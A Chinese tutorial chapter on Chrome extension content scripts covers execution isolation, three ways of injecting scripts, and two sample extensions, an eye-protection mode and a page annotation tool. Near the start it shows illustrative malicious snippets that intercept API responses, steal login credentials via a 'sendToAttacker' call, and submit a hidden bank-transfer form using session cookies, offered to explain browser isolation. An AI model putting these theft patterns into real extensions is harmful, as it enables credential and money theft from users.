注入之道:Content Script 与网页的对话艺术
Content Script 是浏览器插件与网页内容建立联系的核心桥梁。它运行在页面上下文中,具备访问和操作 DOM 的能力,是实现内容读取、界面干预和行为监听的关键手段。作为插件与网页之间的交互接口,Content Script 既保证了插件逻辑与页面环境的隔离性,又通过结构化通信机制,实现了安全、可控的数据交换。本章节,我们就来会一会这 Chrome 插件所不可或缺的一环。
初识内容脚本
内容脚本:网页与插件的对话
Content Script 是运行在网页上下文(Context)中的 JavaScript 脚本,由插件注入并受插件配置约束。
能力所及:DOM操作与功能扩展
Content Script 可以直接访问和操作网页的 DOM,具备信息提取、界面重构、交互增强等能力。其核心价值在于:在插件与网页之间建立一座可控、安全的通信桥梁,使二者在隔离中实现协作。
界限之内:隔离与限制
Content Script 虽能操作网页,却并非无所不能。它可访问部分 Chrome API(如chrome.runtime消息接口)和网页 DOM,但无法直接调用插件的后台 API(如chrome.tabs的部分方法),也不能访问网页中定义的全局变量 —— 这种 “能与不能” 的界限,正是理解其工作机制的关键。
隔离的世界
既然我们可以在网页注入脚本?那你有没有想过做一些有趣的事情呢?

比如拦截页面的API响应处理
const originalFetch = window.fetch;
window.fetch = async function(...args) {
const response = await originalFetch(...args);
// 尝试窃取敏感API响应
if (args[0].includes('/api/user')) {
const userData = await response.clone().json();
sendToAttacker(userData);
}
return response;
};
或者重写网页的关键函数,改变网页的正常行为
// 篡改方法
const originalLogin = window.authenticateUser;
window.authenticateUser = function(credentials) {
// 试图窃取登录凭证
sendToAttacker(credentials);
return originalLogin(credentials);
};
再或者利用用户已登录的状态,模拟用户向其他网站发送恶意请求🤔。
function stealMoney() {
// 检查用户是否已登录银行网站(通过Cookie或其他方式)
if (document.cookie.includes('bank_session=')) {
// 创建一个隐藏的表单,用于向银行API发送转账请求
const form = document.createElement('form');
...
// 添加转账参数(将钱转到攻击者的账户)
const amountInput = document.createElement('input');
...
// 提交表单,浏览器会自动带上银行网站的Cookie
form.submit();
// 为了掩盖痕迹,提交后删除表单
setTimeout(() => form.remove(), 100);
}
}
// 在页面加载完成后执行攻击
window.addEventListener('load', stealMoney);
当然,且不说遵纪守法是每一位开发者的基本准则,现代浏览器的安全机制更不会为插件开发留下如此明显的漏洞。事实上,内容脚本虽运行于网页环境,却处于一个被严格隔离的执行上下文中,DOM共享但JavaScript隔离,这样的设计不仅确保了插件与宿主页面之间的安全性和稳定性,更通过独立的执行上下文避免了命名空间的冲突。不同来源的插件得以在同一页面中和平共处,如同共享舞台却互不干扰的表演者 —— 每个插件都能专注于自己的功能实现,而不必担心与其他代码产生冲突。
当然,眼见为实,耳听为虚,我们可以来验证一下,在内容脚本里写上实例1的代码,可以看到,并不能改变网页里的fetch的方法


注入之道
重点来了哦,说了这么多,我们到底该怎么注入内容脚本呢?方法有三种,静态注入,动态注入以及以编程的方式注入。
以静态方式注入:按图索骥,提前布局
静态注入是最常见、最直观的内容脚本注入方式,它通过 manifest.json 文件预先声明脚本,并在页面加载时自动注入。这种方式适合那些需要在特定页面一打开就执行的脚本,例如页面初始化处理、样式替换、内容拦截等。
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
],
matches:定义脚本注入的页面匹配规则,支持通配符。js/css:指定要注入的 JavaScript 或 CSS 文件。run_at:控制注入时机,可选值包括document_start、document_end和document_idle,影响脚本执行时机与页面加载节奏的配合。
以动态方式注入:随需而动,灵活出击
通过编程方式在运行时动态地将内容脚本注入到指定标签页中,通常由用户操作(如点击按钮)或某些特定事件触发。这种方式适合那些需要根据上下文判断是否执行的脚本,比如点击插件图标后高亮页面内容、抓取当前页面信息等。Chrome 提供了 chrome.scripting.executeScript() 和 chrome.scripting.insertCSS() 两个核心方法,用于在运行时通过代码注入脚本或样式。
// 在后台脚本(service-worker.js)中
chrome.action.onClicked.addListener((tab) => {
// 注入外部JS文件
chrome.scripting.executeScript({
target: { tabId: tab.id },
files: ['content-script.js']
});
// 注入CSS文件
chrome.scripting.insertCSS({
target: { tabId: tab.id },
files: ['styles.css']
});
// 直接注入代码函数
chrome.scripting.executeScript({
target: { tabId: tab.id },
func: () => {
document.body.style.backgroundColor = '#f0f0f0';
console.log('动态注入执行成功!');
}
});
});
以编程的方式注入
除了上述两种常见方式,我们还可以通过编程逻辑,根据页面状态、用户行为、甚至远程配置,决定何时、何地、注入哪些脚本。这就是以编程的方式进行注入。
注:动态注入和以编程的方式注入,虽然听起来有些相似,但它们其实是两个不同维度的概念,动态注入 是一种 注入时机上的“动态性” (脚本不是在页面加载时自动注入,而是在运行时由插件主动触发注入)。以编程的方式注入 则是一种 注入方式上的“灵活性” (开发者可以通过逻辑判断、条件控制、异步操作等,决定注入的内容、时机与目标)。
换句话来说,所有动态注入都是以编程方式实现的,但并非所有以编程方式注入的脚本都属于“动态”注入。
实践案例---护眼模式
当我们专注工作时,常常一盯屏幕就是好久,不自觉就忘了休息。这对眼睛可不太友好。这个时候,护眼模式就显得尤为重要。
{
"manifest_version": 3,
"name": "护眼模式切换器",
"version": "1.0",
"description": "静态注入内容脚本,为任意网页添加护眼模式切换按钮",
"permissions": [
"activeTab",
"scripting"
],
"host_permissions": [
"<all_urls>"
],
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"js": [
"content.js"
],
"css": [
"styles.css"
]
}
]
}
// 创建护眼模式切换按钮
const toggleBtn = document.createElement("button");
toggleBtn.textContent = "🌿 开启护眼模式";
toggleBtn.id = "eye-protection-toggle";
// 添加到页面右下角
document.body.appendChild(toggleBtn);
// 切换护眼模式样式
toggleBtn.addEventListener("click", () => {
const styleId = "eye-protection-style";
if (document.getElementById(styleId)) {
// 已开启,关闭护眼模式
document.getElementById(styleId).remove();
toggleBtn.textContent = "🌿 开启护眼模式";
} else {
// 未开启,注入护眼样式
const style = document.createElement("style");
style.id = styleId;
style.textContent = `
body, html {
background-color: #f2f7f2 !important;
color: #333333 !important;
}
a {
color: #006600 !important;
}
img {
filter: brightness(0.95);
}
input, textarea, select, button {
background-color: #f9fbf9 !important;
color: #333333 !important;
border-color: #ccc !important;
}
`;
document.head.appendChild(style);
toggleBtn.textContent = "🚫 关闭护眼模式";
}
});
#eye-protection-toggle {
position: fixed;
bottom: 20px;
right: 20px;
z-index: 999999;
padding: 10px 15px;
background-color: #88c988;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 14px;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.2);
}
#eye-protection-toggle:hover {
background-color: #77b577;
}
成果展示


实践案例---页面标注工具
有时候,我们在网上查资料,看到重点想圈一下,可又不能拿红笔戳屏幕……截图吧,麻烦;记笔记吧,懒得动。这时候就特别希望:要是能直接在网页上画两笔就好了!
{
"manifest_version": 3,
"name": "页面标注工具",
"version": "1.0",
"description": "内容脚本为当前网页添加“画笔”功能",
"permissions": [
"activeTab",
"scripting"
],
"host_permissions": [
"<all_urls>"
],
"action": {
"default_popup": "popup.html"
}
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
width: 200px;
padding: 15px;
font-family: sans-serif;
}
button {
width: 100%;
padding: 10px;
margin-bottom: 10px;
background-color: #2196F3;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #1976D2;
}
</style>
</head>
<body>
<button id="startBtn">启动标注工具</button>
<button id="clearBtn">清除标注</button>
<script src="popup.js"></script>
</body>
</html>
document.getElementById("startBtn").addEventListener("click", () => {
chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
chrome.scripting.executeScript({
target: { tabId: tabs[0].id },
files: ["annotation.js"]
});
});
});
document.getElementById("clearBtn").addEventListener("click", () => {
chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
chrome.scripting.executeScript({
target: { tabId: tabs[0].id },
func: clearAnnotations
});
});
});
function clearAnnotations() {
const canvas = document.getElementById("annotation-canvas");
if (canvas) {
const ctx = canvas.getContext("2d");
ctx.clearRect(0, 0, canvas.width, canvas.height);
}
}
(function () {
let isDrawing = false;
let startX = 0;
let startY = 0;
// 创建 canvas 覆盖整个页面
const canvas = document.createElement("canvas");
canvas.id = "annotation-canvas";
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
canvas.style.position = "fixed";
canvas.style.top = "0";
canvas.style.left = "0";
canvas.style.zIndex = "999999";
canvas.style.pointerEvents = "none";
document.body.appendChild(canvas);
const ctx = canvas.getContext("2d");
// 鼠标按下事件
window.addEventListener("mousedown", (e) => {
if (e.button === 0) {
isDrawing = true;
startX = e.clientX;
startY = e.clientY;
}
});
// 鼠标移动事件
window.addEventListener("mousemove", (e) => {
if (!isDrawing) return;
const endX = e.clientX;
const endY = e.clientY;
// 每次重绘前清除
ctx.clearRect(0, 0, canvas.width, canvas.height);
// 绘制矩形
ctx.strokeStyle = "#ff0000";
ctx.lineWidth = 2;
ctx.setLineDash([]);
ctx.strokeRect(startX, startY, endX - startX, endY - startY);
});
// 鼠标释放事件
window.addEventListener("mouseup", (e) => {
if (!isDrawing || e.button !== 0) return;
const endX = e.clientX;
const endY = e.clientY;
// 最终绘制实线矩形
ctx.strokeStyle = "#ff0000";
ctx.lineWidth = 2;
ctx.setLineDash([]);
ctx.strokeRect(startX, startY, endX - startX, endY - startY);
isDrawing = false;
});
// 页面缩放时调整 canvas 大小
window.addEventListener("resize", () => {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
});
})();
成果展示

从零探索Chrome插件开发,手把手教你构建实用功能,开启浏览器扩展创作之旅。
腾讯成长空间 5950人发布
查看1道真题和解析